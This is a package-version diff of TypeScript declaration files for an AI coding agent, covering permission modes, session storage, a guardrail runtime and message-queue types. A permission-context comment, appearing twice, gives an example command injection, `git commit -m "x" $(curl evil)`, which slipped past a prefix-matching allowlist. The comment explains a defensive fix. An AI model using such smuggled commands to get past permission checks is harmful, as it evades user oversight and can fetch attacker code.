@kodax-ai/kodax 0.7.50 → 0.7.52
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/CHANGELOG.md +1814 -1773
- package/README.md +1215 -1213
- package/README_CN.md +636 -634
- package/dist/chunks/agent-XXTR7T37.js +2 -0
- package/dist/chunks/argument-completer-VMH6VZ4X.js +2 -0
- package/dist/chunks/chunk-4RVSFOUT.js +420 -0
- package/dist/chunks/chunk-5USNUSTL.js +648 -0
- package/dist/chunks/chunk-7X7SOVER.js +492 -0
- package/dist/chunks/{chunk-HR64F32V.js → chunk-BFXFSEHK.js} +1 -1
- package/dist/chunks/chunk-HMATTIU6.js +574 -0
- package/dist/chunks/{chunk-SK4HOYT2.js → chunk-JJTUBNQX.js} +1 -1
- package/dist/chunks/chunk-LE6STNVN.js +31 -0
- package/dist/chunks/chunk-MFPYZT52.js +301 -0
- package/dist/chunks/{compaction-config-DDJSQ4OT.js → compaction-config-UBPCNGC2.js} +1 -1
- package/dist/chunks/{construction-bootstrap-4QNM2BVM.js → construction-bootstrap-BXRMA3KL.js} +1 -1
- package/dist/chunks/dist-IHH4BYIU.js +2 -0
- package/dist/chunks/{dist-OJSNNI7P.js → dist-Z6U7TWKJ.js} +1 -1
- package/dist/chunks/utils-6WZHBMCC.js +2 -0
- package/dist/index.d.ts +11 -11
- package/dist/index.js +4 -4
- package/dist/kodax_cli.js +1004 -978
- package/dist/provider-capabilities.json +2 -0
- package/dist/sdk-agent.d.ts +16 -10
- package/dist/sdk-agent.js +1 -1
- package/dist/sdk-coding.d.ts +32 -16
- package/dist/sdk-coding.js +1 -1
- package/dist/sdk-llm.d.ts +3 -5
- package/dist/sdk-llm.js +1 -1
- package/dist/sdk-mcp.js +1 -1
- package/dist/sdk-repl.d.ts +16 -727
- package/dist/sdk-repl.js +2 -2
- package/dist/sdk-session.d.ts +8 -224
- package/dist/sdk-session.js +1 -1
- package/dist/sdk-skills.js +1 -1
- package/dist/types-chunks/{types.d-rPRl2LSB.d.ts → base.d-BBNUF9nz.d.ts} +271 -3
- package/dist/types-chunks/{bash-prefix-extractor.d-B0CIb0N3.d.ts → bash-prefix-extractor.d-DBFZEwop.d.ts} +15 -521
- package/dist/types-chunks/{capsule.d-CwBEm6M-.d.ts → capsule.d-CNonpwAZ.d.ts} +3 -3
- package/dist/types-chunks/guardrail.d-B18oO1gt.d.ts +518 -0
- package/dist/types-chunks/{process.d-BbiXD24v.d.ts → process.d-Bj82oJhD.d.ts} +348 -275
- package/dist/types-chunks/{resolver.d-CQfaJbht.d.ts → resolver.d-CCX9NXWP.d.ts} +2 -2
- package/dist/types-chunks/sdk-session-D4tqRl0_.d.ts +977 -0
- package/dist/types-chunks/{storage.d-J2GqOgaX.d.ts → storage.d-CabW10Nt.d.ts} +78 -3
- package/dist/types-chunks/types.d-D4jL-gAA.d.ts +273 -0
- package/dist/types-chunks/{utils.d-D_-jrRku.d.ts → utils.d-23Gn14zP.d.ts} +7 -81
- package/package.json +3 -3
- package/dist/chunks/argument-completer-3WX5B42G.js +0 -2
- package/dist/chunks/chunk-5UJQ2GKJ.js +0 -574
- package/dist/chunks/chunk-MFOMFMSK.js +0 -1056
- package/dist/chunks/chunk-UB5IAZHF.js +0 -476
- package/dist/chunks/chunk-XZY4CIDV.js +0 -31
- package/dist/chunks/chunk-YJLRBIEW.js +0 -301
- package/dist/chunks/dist-T256OSDI.js +0 -2
- package/dist/chunks/utils-JHIEOX6Z.js +0 -2
- package/dist/types-chunks/base.d-C4jYVjJh.d.ts +0 -270
- package/dist/types-chunks/types.d-BnjX2Gn4.d.ts +0 -297
|
@@ -1,4 +1,79 @@
|
|
|
1
|
-
import {
|
|
1
|
+
import { a as BashPrefixExtractor } from './bash-prefix-extractor.d-DBFZEwop.js';
|
|
2
|
+
import { $ as KodaXSessionData, a4 as KodaXSessionLineage, a7 as KodaXSessionNavigationOptions, a8 as KodaXSessionRuntimeInfo, aa as KodaXSessionStorage } from './process.d-Bj82oJhD.js';
|
|
3
|
+
|
|
4
|
+
/**
|
|
5
|
+
* Permission Types
|
|
6
|
+
*/
|
|
7
|
+
|
|
8
|
+
/**
|
|
9
|
+
* Permission mode
|
|
10
|
+
* - plan: Read-only planning, all modifications blocked unless explicitly whitelisted
|
|
11
|
+
* - accept-edits: File edits auto-approved, shell commands require confirmation
|
|
12
|
+
* - auto: All tools auto-approved (with optional LLM classifier review when
|
|
13
|
+
* auto-mode engine === 'llm'; FEATURE_092 v0.7.33). When engine === 'rules',
|
|
14
|
+
* falls back to the legacy "all tools approved within project, outside
|
|
15
|
+
* requires confirmation" behavior — i.e., the v0.7.32 `auto-in-project`
|
|
16
|
+
* shape. The `auto-in-project` name is preserved as a deprecated alias
|
|
17
|
+
* for 5 minor versions (removed in v0.7.38).
|
|
18
|
+
*/
|
|
19
|
+
type PermissionMode = "plan" | "accept-edits" | "auto" | "auto-in-project";
|
|
20
|
+
declare const PERMISSION_MODES: PermissionMode[];
|
|
21
|
+
/**
|
|
22
|
+
* Status-bar display name for a permission mode. Title-Case short labels
|
|
23
|
+
* (mirrors Claude Code's `shortTitle` convention in
|
|
24
|
+
* `src/utils/permissions/PermissionMode.ts`):
|
|
25
|
+
* - `plan` → `Plan`
|
|
26
|
+
* - `accept-edits` → `Edits`
|
|
27
|
+
* - `auto` → `Auto`
|
|
28
|
+
* - `auto-in-project` → `Auto` (deprecated alias folds into the canonical
|
|
29
|
+
* display name; the deprecation notice
|
|
30
|
+
* surfaces once per session at startup)
|
|
31
|
+
*
|
|
32
|
+
* Single source of truth — both the readline status-bar
|
|
33
|
+
* (`packages/repl/src/interactive/status-bar.ts`) and the Ink view-model
|
|
34
|
+
* (`packages/repl/src/ui/view-models/status-bar.ts`) consume this so the two
|
|
35
|
+
* surfaces never drift on capitalization or short-form choice.
|
|
36
|
+
*/
|
|
37
|
+
declare function permissionModeDisplayName(mode: PermissionMode): string;
|
|
38
|
+
interface ConfirmResult {
|
|
39
|
+
confirmed: boolean;
|
|
40
|
+
always?: boolean;
|
|
41
|
+
}
|
|
42
|
+
interface PermissionContext {
|
|
43
|
+
permissionMode: PermissionMode;
|
|
44
|
+
confirmTools: Set<string>;
|
|
45
|
+
gitRoot?: string;
|
|
46
|
+
alwaysAllowTools: string[];
|
|
47
|
+
onConfirm?: (tool: string, input: Record<string, unknown>) => Promise<ConfirmResult>;
|
|
48
|
+
saveAlwaysAllowTool?: (tool: string, input: Record<string, unknown>, allowAll?: boolean) => void;
|
|
49
|
+
switchPermissionMode?: (mode: PermissionMode) => void;
|
|
50
|
+
beforeToolExecute?: (tool: string, input: Record<string, unknown>) => Promise<boolean | string>;
|
|
51
|
+
/**
|
|
52
|
+
* FEATURE_153 (v0.7.38) — Optional LLM-backed bash command prefix extractor.
|
|
53
|
+
* When supplied, `isToolCallAllowed` uses it to extract the SAFE PREFIX of
|
|
54
|
+
* a bash command before matching against allowlist patterns like
|
|
55
|
+
* `Bash(git commit:*)`. This eliminates the pre-FEATURE_153 vulnerability
|
|
56
|
+
* where `git commit -m "x" $(curl evil)` matched the allowlist via naive
|
|
57
|
+
* `command.startsWith` semantics.
|
|
58
|
+
*
|
|
59
|
+
* KodaX REPL bootstrap creates this via `createBashPrefixExtractor` from
|
|
60
|
+
* `@kodax-ai/coding` and threads it here. SDK consumers / tests without
|
|
61
|
+
* LLM access can omit it; legacy startsWith semantics apply (documented
|
|
62
|
+
* as insecure in `matchesBashPatternLegacy`).
|
|
63
|
+
*/
|
|
64
|
+
bashPrefixExtractor?: BashPrefixExtractor;
|
|
65
|
+
}
|
|
66
|
+
/**
|
|
67
|
+
* Compute the base confirmation set for each permission mode.
|
|
68
|
+
*
|
|
69
|
+
* Note: `plan` still lists the standard mutating tools here even though most of
|
|
70
|
+
* them are blocked earlier in the permission pipeline via `getPlanModeBlockReason`.
|
|
71
|
+
* This helper only describes the remaining confirmation step for calls that are
|
|
72
|
+
* not hard-blocked.
|
|
73
|
+
*/
|
|
74
|
+
declare function computeConfirmTools(mode: PermissionMode): Set<string>;
|
|
75
|
+
declare function isPermissionMode(value: string | undefined): value is PermissionMode;
|
|
76
|
+
declare function normalizePermissionMode(value: string | undefined, fallback?: PermissionMode): PermissionMode | undefined;
|
|
2
77
|
|
|
3
78
|
/**
|
|
4
79
|
* Session Storage - Session storage abstraction layer
|
|
@@ -201,5 +276,5 @@ declare class FileSessionStorage implements KodaXSessionStorage {
|
|
|
201
276
|
cleanupOldSessions(retentionDays: number): Promise<number>;
|
|
202
277
|
}
|
|
203
278
|
|
|
204
|
-
export { FileSessionStorage as F, MemorySessionStorage as M, createMemorySessionStorage as
|
|
205
|
-
export type { SessionData as S,
|
|
279
|
+
export { FileSessionStorage as F, MemorySessionStorage as M, PERMISSION_MODES as P, computeConfirmTools as d, createMemorySessionStorage as e, isPermissionMode as i, normalizePermissionMode as n, permissionModeDisplayName as p };
|
|
280
|
+
export type { ConfirmResult as C, SessionData as S, PermissionContext as a, PermissionMode as b, SessionStorage as c };
|
|
@@ -0,0 +1,273 @@
|
|
|
1
|
+
import { y as Guardrail, aG as RunnerToolCall, d as Agent, f as AgentMessage, aJ as RunnerToolResult, aS as Span } from './process.d-Bj82oJhD.js';
|
|
2
|
+
|
|
3
|
+
/**
|
|
4
|
+
* Guardrail Runtime — FEATURE_085 (v0.7.26).
|
|
5
|
+
*
|
|
6
|
+
* Three-tier runtime for Agent guardrails:
|
|
7
|
+
*
|
|
8
|
+
* - `InputGuardrail`: runs once before the first LLM turn, inspects the
|
|
9
|
+
* full input transcript, may allow / rewrite / block / escalate.
|
|
10
|
+
* - `OutputGuardrail`: runs once before returning, inspects the final
|
|
11
|
+
* assistant message, may allow / rewrite / block / escalate.
|
|
12
|
+
* - `ToolGuardrail`: runs before and/or after each tool invocation,
|
|
13
|
+
* inspects the call / result, may allow / rewrite / block / escalate.
|
|
14
|
+
*
|
|
15
|
+
* The four verdict actions:
|
|
16
|
+
*
|
|
17
|
+
* - `allow`: continue with the current value.
|
|
18
|
+
* - `rewrite`: replace the current value with `payload`.
|
|
19
|
+
* - `block`: throw `GuardrailBlockedError` (for input/output) or surface
|
|
20
|
+
* an error tool_result (for tool-before); the LLM / caller sees a
|
|
21
|
+
* rejection and must adapt.
|
|
22
|
+
* - `escalate`: throw `GuardrailEscalateError`; the SDK consumer catches
|
|
23
|
+
* and decides whether to prompt the user, retry under different
|
|
24
|
+
* constraints, etc.
|
|
25
|
+
*
|
|
26
|
+
* Every guardrail invocation emits a `GuardrailSpan` under the agent's
|
|
27
|
+
* span when tracing is active.
|
|
28
|
+
*
|
|
29
|
+
* @experimental API shape may adjust during v0.7.x rollout.
|
|
30
|
+
*/
|
|
31
|
+
|
|
32
|
+
/**
|
|
33
|
+
* Shared execution context passed to every guardrail.
|
|
34
|
+
*
|
|
35
|
+
* `messages` is the live conversation transcript at the moment this
|
|
36
|
+
* guardrail fires. For tool-side guardrails this is the transcript at
|
|
37
|
+
* call-site time — it does NOT yet include the assistant turn that
|
|
38
|
+
* emitted the current tool_use, since that turn is appended only after
|
|
39
|
+
* the full tool batch settles. Optional so existing guardrails that
|
|
40
|
+
* don't read context still type-check; populated by the Runner for all
|
|
41
|
+
* production hook points.
|
|
42
|
+
*
|
|
43
|
+
* Added in FEATURE_092 (v0.7.33) so the auto-mode classifier guardrail
|
|
44
|
+
* can extract intent context (user prompt + prior tool_use / tool_result
|
|
45
|
+
* blocks) without reaching into Runner internals.
|
|
46
|
+
*/
|
|
47
|
+
interface GuardrailContext {
|
|
48
|
+
readonly agent: Agent;
|
|
49
|
+
readonly abortSignal?: AbortSignal;
|
|
50
|
+
readonly messages?: readonly AgentMessage[];
|
|
51
|
+
}
|
|
52
|
+
/**
|
|
53
|
+
* Outcome of a single guardrail check. `payload` shape depends on the hook
|
|
54
|
+
* point — see the specific guardrail interface for the expected type.
|
|
55
|
+
*/
|
|
56
|
+
type GuardrailVerdict = {
|
|
57
|
+
readonly action: 'allow';
|
|
58
|
+
} | {
|
|
59
|
+
readonly action: 'rewrite';
|
|
60
|
+
readonly payload: unknown;
|
|
61
|
+
readonly reason?: string;
|
|
62
|
+
} | {
|
|
63
|
+
readonly action: 'block';
|
|
64
|
+
readonly reason: string;
|
|
65
|
+
} | {
|
|
66
|
+
readonly action: 'escalate';
|
|
67
|
+
readonly reason: string;
|
|
68
|
+
};
|
|
69
|
+
/**
|
|
70
|
+
* Input-side guardrail. Expected `rewrite` payload shape:
|
|
71
|
+
* `readonly AgentMessage[]` — the replacement transcript.
|
|
72
|
+
*/
|
|
73
|
+
interface InputGuardrail extends Guardrail {
|
|
74
|
+
readonly kind: 'input';
|
|
75
|
+
check(input: readonly AgentMessage[], ctx: GuardrailContext): Promise<GuardrailVerdict>;
|
|
76
|
+
}
|
|
77
|
+
/**
|
|
78
|
+
* Output-side guardrail. Expected `rewrite` payload shape:
|
|
79
|
+
* `AgentMessage` — the replacement final assistant message.
|
|
80
|
+
*/
|
|
81
|
+
interface OutputGuardrail extends Guardrail {
|
|
82
|
+
readonly kind: 'output';
|
|
83
|
+
check(output: AgentMessage, ctx: GuardrailContext): Promise<GuardrailVerdict>;
|
|
84
|
+
}
|
|
85
|
+
/**
|
|
86
|
+
* Tool-side guardrail. `beforeTool` rewrite payload shape: `RunnerToolCall`
|
|
87
|
+
* (replacement call). `afterTool` rewrite payload shape: `RunnerToolResult`
|
|
88
|
+
* (replacement result). Either hook is optional.
|
|
89
|
+
*/
|
|
90
|
+
interface ToolGuardrail extends Guardrail {
|
|
91
|
+
readonly kind: 'tool';
|
|
92
|
+
beforeTool?(call: RunnerToolCall, ctx: GuardrailContext): Promise<GuardrailVerdict>;
|
|
93
|
+
afterTool?(call: RunnerToolCall, result: RunnerToolResult, ctx: GuardrailContext): Promise<GuardrailVerdict>;
|
|
94
|
+
}
|
|
95
|
+
/**
|
|
96
|
+
* Thrown when any guardrail returns `{ action: 'block' }`. The Runner
|
|
97
|
+
* propagates this up to the caller — the run is aborted at that point.
|
|
98
|
+
*/
|
|
99
|
+
declare class GuardrailBlockedError extends Error {
|
|
100
|
+
readonly guardrailName: string;
|
|
101
|
+
readonly hookPoint: 'input' | 'output' | 'tool';
|
|
102
|
+
constructor(guardrailName: string, hookPoint: 'input' | 'output' | 'tool', reason: string);
|
|
103
|
+
}
|
|
104
|
+
/**
|
|
105
|
+
* Thrown when any guardrail returns `{ action: 'escalate' }`. Callers can
|
|
106
|
+
* catch and prompt the user or apply a stricter policy before retrying.
|
|
107
|
+
*/
|
|
108
|
+
declare class GuardrailEscalateError extends Error {
|
|
109
|
+
readonly guardrailName: string;
|
|
110
|
+
readonly hookPoint: 'input' | 'output' | 'tool';
|
|
111
|
+
constructor(guardrailName: string, hookPoint: 'input' | 'output' | 'tool', reason: string);
|
|
112
|
+
}
|
|
113
|
+
/** Filter a guardrail list by hook-point. */
|
|
114
|
+
declare function collectGuardrails(guardrails: readonly Guardrail[] | undefined): {
|
|
115
|
+
input: readonly InputGuardrail[];
|
|
116
|
+
output: readonly OutputGuardrail[];
|
|
117
|
+
tool: readonly ToolGuardrail[];
|
|
118
|
+
};
|
|
119
|
+
/**
|
|
120
|
+
* Run all input guardrails in declaration order. Returns the (possibly
|
|
121
|
+
* rewritten) transcript. Throws on block / escalate.
|
|
122
|
+
*/
|
|
123
|
+
declare function runInputGuardrails(transcript: readonly AgentMessage[], guardrails: readonly InputGuardrail[], ctx: GuardrailContext, agentSpan: Span | null): Promise<readonly AgentMessage[]>;
|
|
124
|
+
/**
|
|
125
|
+
* Run all output guardrails in declaration order. Returns the (possibly
|
|
126
|
+
* rewritten) final assistant message. Throws on block / escalate.
|
|
127
|
+
*/
|
|
128
|
+
declare function runOutputGuardrails(output: AgentMessage, guardrails: readonly OutputGuardrail[], ctx: GuardrailContext, agentSpan: Span | null): Promise<AgentMessage>;
|
|
129
|
+
/**
|
|
130
|
+
* Outcome of the before-tool guardrail stage.
|
|
131
|
+
* - `{ kind: 'allow', call }`: continue to executeRunnerToolCall with `call`
|
|
132
|
+
* - `{ kind: 'block', result }`: skip execution; return `result` as the
|
|
133
|
+
* tool_result to the LLM (so it sees the rejection and can adapt)
|
|
134
|
+
*/
|
|
135
|
+
type ToolBeforeOutcome = {
|
|
136
|
+
readonly kind: 'allow';
|
|
137
|
+
readonly call: RunnerToolCall;
|
|
138
|
+
} | {
|
|
139
|
+
readonly kind: 'block';
|
|
140
|
+
readonly result: RunnerToolResult;
|
|
141
|
+
};
|
|
142
|
+
/**
|
|
143
|
+
* Run before-tool guardrails in declaration order. Rewrite replaces the
|
|
144
|
+
* tool call. Block surfaces an error tool_result to the LLM instead of
|
|
145
|
+
* throwing — the LLM sees the rejection and adapts. Escalate still throws.
|
|
146
|
+
*/
|
|
147
|
+
declare function runToolBeforeGuardrails(call: RunnerToolCall, guardrails: readonly ToolGuardrail[], ctx: GuardrailContext, agentSpan: Span | null): Promise<ToolBeforeOutcome>;
|
|
148
|
+
/**
|
|
149
|
+
* Run after-tool guardrails in declaration order. Rewrite replaces the
|
|
150
|
+
* result content. Block replaces with an error result. Escalate throws.
|
|
151
|
+
*/
|
|
152
|
+
declare function runToolAfterGuardrails(call: RunnerToolCall, result: RunnerToolResult, guardrails: readonly ToolGuardrail[], ctx: GuardrailContext, agentSpan: Span | null): Promise<RunnerToolResult>;
|
|
153
|
+
|
|
154
|
+
/**
|
|
155
|
+
* @kodax-ai/agent/messaging — Message queue types
|
|
156
|
+
*
|
|
157
|
+
* FEATURE_115 (v0.7.36): agentId-scoped 2-tier priority queue infrastructure.
|
|
158
|
+
*
|
|
159
|
+
* Per ADR-021: messaging is a generic agent-platform primitive (not coding-
|
|
160
|
+
* specific). Downstream consumers:
|
|
161
|
+
* - @kodax-ai/coding runner-driven mid-turn drain
|
|
162
|
+
* - @kodax-ai/repl InkREPL ESC soft-pause + text injection (FEATURE_111 absorbed)
|
|
163
|
+
* - subagent task-notification routing (FEATURE_155 idle-yield wakeup)
|
|
164
|
+
*
|
|
165
|
+
* Phase 0.6 study (`c:/tmp/claude-code-actual-usage.md`): Claude Code's
|
|
166
|
+
* `'now'` priority has zero production usage; KodaX simplifies to 2 tiers.
|
|
167
|
+
*/
|
|
168
|
+
type MessagePriority = 'user' | 'background';
|
|
169
|
+
type MessageMode = 'prompt' | 'task-notification' | 'system-reminder';
|
|
170
|
+
interface QueuedMessage {
|
|
171
|
+
/** Stable id for tracing / dedup. Format: `msg-<sequence>`. */
|
|
172
|
+
readonly id: string;
|
|
173
|
+
readonly priority: MessagePriority;
|
|
174
|
+
/**
|
|
175
|
+
* Routing key:
|
|
176
|
+
* undefined = main thread / coordinator agent
|
|
177
|
+
* 'agent-id-XYZ' = subagent / specific consumer
|
|
178
|
+
*
|
|
179
|
+
* Drain consumers MUST filter by agentId match — undefined matches only
|
|
180
|
+
* undefined-agentId messages, not "any agent".
|
|
181
|
+
*/
|
|
182
|
+
readonly agentId?: string;
|
|
183
|
+
readonly mode: MessageMode;
|
|
184
|
+
readonly content: string;
|
|
185
|
+
/** Wall-clock timestamp (`Date.now()`) for tracing only — not used for ordering. */
|
|
186
|
+
readonly enqueuedAt: number;
|
|
187
|
+
}
|
|
188
|
+
interface DequeueFilter {
|
|
189
|
+
/**
|
|
190
|
+
* Only return messages with this agentId.
|
|
191
|
+
* undefined matches messages with no agentId (main-thread messages only).
|
|
192
|
+
*/
|
|
193
|
+
readonly agentId?: string;
|
|
194
|
+
/**
|
|
195
|
+
* Highest priority level included in the drain.
|
|
196
|
+
* 'user' → only user priority drained, background stays queued
|
|
197
|
+
* 'background' → both user + background drained (Sleep-gated case)
|
|
198
|
+
*/
|
|
199
|
+
readonly maxPriority: MessagePriority;
|
|
200
|
+
/**
|
|
201
|
+
* Optional cap on number of messages drained in this call.
|
|
202
|
+
* Defaults to unlimited (drains all matching).
|
|
203
|
+
*/
|
|
204
|
+
readonly limit?: number;
|
|
205
|
+
/**
|
|
206
|
+
* FEATURE_159 (v0.7.40) — optional mode filter. Lets REPL split the
|
|
207
|
+
* single queue into mode-typed views (e.g. `mode:'prompt'` for user
|
|
208
|
+
* input vs `mode:'task-notification'` for child completion banners)
|
|
209
|
+
* without separate queues. When omitted, all modes match.
|
|
210
|
+
*/
|
|
211
|
+
readonly mode?: MessageMode;
|
|
212
|
+
/**
|
|
213
|
+
* FEATURE_159 (v0.7.40) — optional precise-id filter. Single-message
|
|
214
|
+
* targeted removal — drives Esc-pop-this-uuid in REPL. When set, all
|
|
215
|
+
* other filters still apply (agentId / priority / mode mismatches still
|
|
216
|
+
* skip the message), so callers can't accidentally remove a message
|
|
217
|
+
* outside their scope.
|
|
218
|
+
*/
|
|
219
|
+
readonly id?: string;
|
|
220
|
+
/**
|
|
221
|
+
* FEATURE_159 (v0.7.40) — optional escape-hatch predicate, AND-ed with
|
|
222
|
+
* the structured filters. Lets SDK consumers express conditions the
|
|
223
|
+
* typed fields don't cover (e.g. timestamp ranges, content-match) without
|
|
224
|
+
* forcing every new use case to extend `DequeueFilter`. KodaX-internal
|
|
225
|
+
* code should prefer the typed fields for readability; this is the
|
|
226
|
+
* "data-driven main path + predicate escape" pattern.
|
|
227
|
+
*
|
|
228
|
+
* Evaluated AFTER the typed filters succeed — so a `predicate` that
|
|
229
|
+
* inspects `message.content` never runs on messages outside the
|
|
230
|
+
* caller's `agentId` / `mode` / `id` scope.
|
|
231
|
+
*/
|
|
232
|
+
readonly predicate?: (message: QueuedMessage) => boolean;
|
|
233
|
+
}
|
|
234
|
+
/**
|
|
235
|
+
* FEATURE_159 (v0.7.40) — structured queue event emitted to subscribers.
|
|
236
|
+
*
|
|
237
|
+
* Replaces the prior `() => void` bare-notify signal. Carries the kind +
|
|
238
|
+
* affected messages so SDK observability consumers (logging, tracing,
|
|
239
|
+
* metrics) can react per-event without re-diffing snapshots.
|
|
240
|
+
*
|
|
241
|
+
* Event granularity rules:
|
|
242
|
+
* - `enqueued` fires ONCE per `enqueue()` call (always 1 message).
|
|
243
|
+
* - `dequeued` fires ONCE per `dequeue()` call that removed ≥1 message,
|
|
244
|
+
* carrying ALL drained messages in priority+FIFO order. No-op drains
|
|
245
|
+
* (filter matched nothing) fire no event — quiet by design so the
|
|
246
|
+
* `waitForWakeEvent` 100ms poll doesn't spam idle subscribers.
|
|
247
|
+
* - `cleared` fires ONCE per `clear()` call that removed ≥1 message,
|
|
248
|
+
* carrying the pre-clear messages. Empty-queue clear fires nothing.
|
|
249
|
+
*
|
|
250
|
+
* The `useSyncExternalStore` React hook ignores the event payload (it
|
|
251
|
+
* only needs the change signal); SDK / tracer consumers read the event.
|
|
252
|
+
*/
|
|
253
|
+
type QueueEvent = {
|
|
254
|
+
readonly kind: 'enqueued';
|
|
255
|
+
readonly message: QueuedMessage;
|
|
256
|
+
} | {
|
|
257
|
+
readonly kind: 'dequeued';
|
|
258
|
+
readonly messages: readonly QueuedMessage[];
|
|
259
|
+
} | {
|
|
260
|
+
readonly kind: 'cleared';
|
|
261
|
+
readonly messages: readonly QueuedMessage[];
|
|
262
|
+
};
|
|
263
|
+
/** FEATURE_159 — `MessageQueue.subscribe` listener signature. */
|
|
264
|
+
type QueueEventListener = (event: QueueEvent) => void;
|
|
265
|
+
interface EnqueueInput {
|
|
266
|
+
readonly priority: MessagePriority;
|
|
267
|
+
readonly mode: MessageMode;
|
|
268
|
+
readonly content: string;
|
|
269
|
+
readonly agentId?: string;
|
|
270
|
+
}
|
|
271
|
+
|
|
272
|
+
export { GuardrailBlockedError as G, GuardrailEscalateError as b, collectGuardrails as g, runOutputGuardrails as h, runToolAfterGuardrails as i, runToolBeforeGuardrails as j, runInputGuardrails as r };
|
|
273
|
+
export type { DequeueFilter as D, EnqueueInput as E, InputGuardrail as I, MessageMode as M, OutputGuardrail as O, QueueEventListener as Q, ToolBeforeOutcome as T, GuardrailContext as a, GuardrailVerdict as c, MessagePriority as d, QueuedMessage as e, ToolGuardrail as f };
|
|
@@ -1,85 +1,11 @@
|
|
|
1
|
-
import {
|
|
2
|
-
import {
|
|
3
|
-
import {
|
|
4
|
-
import {
|
|
5
|
-
import {
|
|
1
|
+
import { P as KodaXOptions, s as KodaXContextTokenSnapshot, k as KodaXAgentMode, U as KodaXRepoIntelligenceMode, a4 as KodaXSkillInvocationContext } from './bash-prefix-extractor.d-DBFZEwop.js';
|
|
2
|
+
import { c as SessionStorage$1, b as PermissionMode } from './storage.d-CabW10Nt.js';
|
|
3
|
+
import { aa as KodaXSessionStorage, $ as KodaXSessionData, ac as KodaXSessionUiHistoryItem, a4 as KodaXSessionLineage, Y as KodaXSessionArtifactLedgerEntry, a8 as KodaXSessionRuntimeInfo, bD as WorkflowProcessSource } from './process.d-Bj82oJhD.js';
|
|
4
|
+
import { o as KodaXMessage, G as KodaXReasoningMode, t as KodaXProviderCapabilityProfile, H as KodaXReasoningOverride, i as KodaXCustomProviderConfig } from './base.d-BBNUF9nz.js';
|
|
5
|
+
import { A as AgentsFile, f as AutoModeStats, l as KodaXMcpServersConfig } from './guardrail.d-B18oO1gt.js';
|
|
6
6
|
import * as readline from 'readline';
|
|
7
7
|
import { SpawnSyncReturns } from 'child_process';
|
|
8
8
|
|
|
9
|
-
/**
|
|
10
|
-
* Permission Types
|
|
11
|
-
*/
|
|
12
|
-
|
|
13
|
-
/**
|
|
14
|
-
* Permission mode
|
|
15
|
-
* - plan: Read-only planning, all modifications blocked unless explicitly whitelisted
|
|
16
|
-
* - accept-edits: File edits auto-approved, shell commands require confirmation
|
|
17
|
-
* - auto: All tools auto-approved (with optional LLM classifier review when
|
|
18
|
-
* auto-mode engine === 'llm'; FEATURE_092 v0.7.33). When engine === 'rules',
|
|
19
|
-
* falls back to the legacy "all tools approved within project, outside
|
|
20
|
-
* requires confirmation" behavior — i.e., the v0.7.32 `auto-in-project`
|
|
21
|
-
* shape. The `auto-in-project` name is preserved as a deprecated alias
|
|
22
|
-
* for 5 minor versions (removed in v0.7.38).
|
|
23
|
-
*/
|
|
24
|
-
type PermissionMode = "plan" | "accept-edits" | "auto" | "auto-in-project";
|
|
25
|
-
declare const PERMISSION_MODES: PermissionMode[];
|
|
26
|
-
/**
|
|
27
|
-
* Status-bar display name for a permission mode. Title-Case short labels
|
|
28
|
-
* (mirrors Claude Code's `shortTitle` convention in
|
|
29
|
-
* `src/utils/permissions/PermissionMode.ts`):
|
|
30
|
-
* - `plan` → `Plan`
|
|
31
|
-
* - `accept-edits` → `Edits`
|
|
32
|
-
* - `auto` → `Auto`
|
|
33
|
-
* - `auto-in-project` → `Auto` (deprecated alias folds into the canonical
|
|
34
|
-
* display name; the deprecation notice
|
|
35
|
-
* surfaces once per session at startup)
|
|
36
|
-
*
|
|
37
|
-
* Single source of truth — both the readline status-bar
|
|
38
|
-
* (`packages/repl/src/interactive/status-bar.ts`) and the Ink view-model
|
|
39
|
-
* (`packages/repl/src/ui/view-models/status-bar.ts`) consume this so the two
|
|
40
|
-
* surfaces never drift on capitalization or short-form choice.
|
|
41
|
-
*/
|
|
42
|
-
declare function permissionModeDisplayName(mode: PermissionMode): string;
|
|
43
|
-
interface ConfirmResult {
|
|
44
|
-
confirmed: boolean;
|
|
45
|
-
always?: boolean;
|
|
46
|
-
}
|
|
47
|
-
interface PermissionContext {
|
|
48
|
-
permissionMode: PermissionMode;
|
|
49
|
-
confirmTools: Set<string>;
|
|
50
|
-
gitRoot?: string;
|
|
51
|
-
alwaysAllowTools: string[];
|
|
52
|
-
onConfirm?: (tool: string, input: Record<string, unknown>) => Promise<ConfirmResult>;
|
|
53
|
-
saveAlwaysAllowTool?: (tool: string, input: Record<string, unknown>, allowAll?: boolean) => void;
|
|
54
|
-
switchPermissionMode?: (mode: PermissionMode) => void;
|
|
55
|
-
beforeToolExecute?: (tool: string, input: Record<string, unknown>) => Promise<boolean | string>;
|
|
56
|
-
/**
|
|
57
|
-
* FEATURE_153 (v0.7.38) — Optional LLM-backed bash command prefix extractor.
|
|
58
|
-
* When supplied, `isToolCallAllowed` uses it to extract the SAFE PREFIX of
|
|
59
|
-
* a bash command before matching against allowlist patterns like
|
|
60
|
-
* `Bash(git commit:*)`. This eliminates the pre-FEATURE_153 vulnerability
|
|
61
|
-
* where `git commit -m "x" $(curl evil)` matched the allowlist via naive
|
|
62
|
-
* `command.startsWith` semantics.
|
|
63
|
-
*
|
|
64
|
-
* KodaX REPL bootstrap creates this via `createBashPrefixExtractor` from
|
|
65
|
-
* `@kodax-ai/coding` and threads it here. SDK consumers / tests without
|
|
66
|
-
* LLM access can omit it; legacy startsWith semantics apply (documented
|
|
67
|
-
* as insecure in `matchesBashPatternLegacy`).
|
|
68
|
-
*/
|
|
69
|
-
bashPrefixExtractor?: BashPrefixExtractor;
|
|
70
|
-
}
|
|
71
|
-
/**
|
|
72
|
-
* Compute the base confirmation set for each permission mode.
|
|
73
|
-
*
|
|
74
|
-
* Note: `plan` still lists the standard mutating tools here even though most of
|
|
75
|
-
* them are blocked earlier in the permission pipeline via `getPlanModeBlockReason`.
|
|
76
|
-
* This helper only describes the remaining confirmation step for calls that are
|
|
77
|
-
* not hard-blocked.
|
|
78
|
-
*/
|
|
79
|
-
declare function computeConfirmTools(mode: PermissionMode): Set<string>;
|
|
80
|
-
declare function isPermissionMode(value: string | undefined): value is PermissionMode;
|
|
81
|
-
declare function normalizePermissionMode(value: string | undefined, fallback?: PermissionMode): PermissionMode | undefined;
|
|
82
|
-
|
|
83
9
|
/**
|
|
84
10
|
* InkREPL - Ink-based REPL Adapter
|
|
85
11
|
*
|
|
@@ -568,5 +494,5 @@ declare function saveConfig(config: {
|
|
|
568
494
|
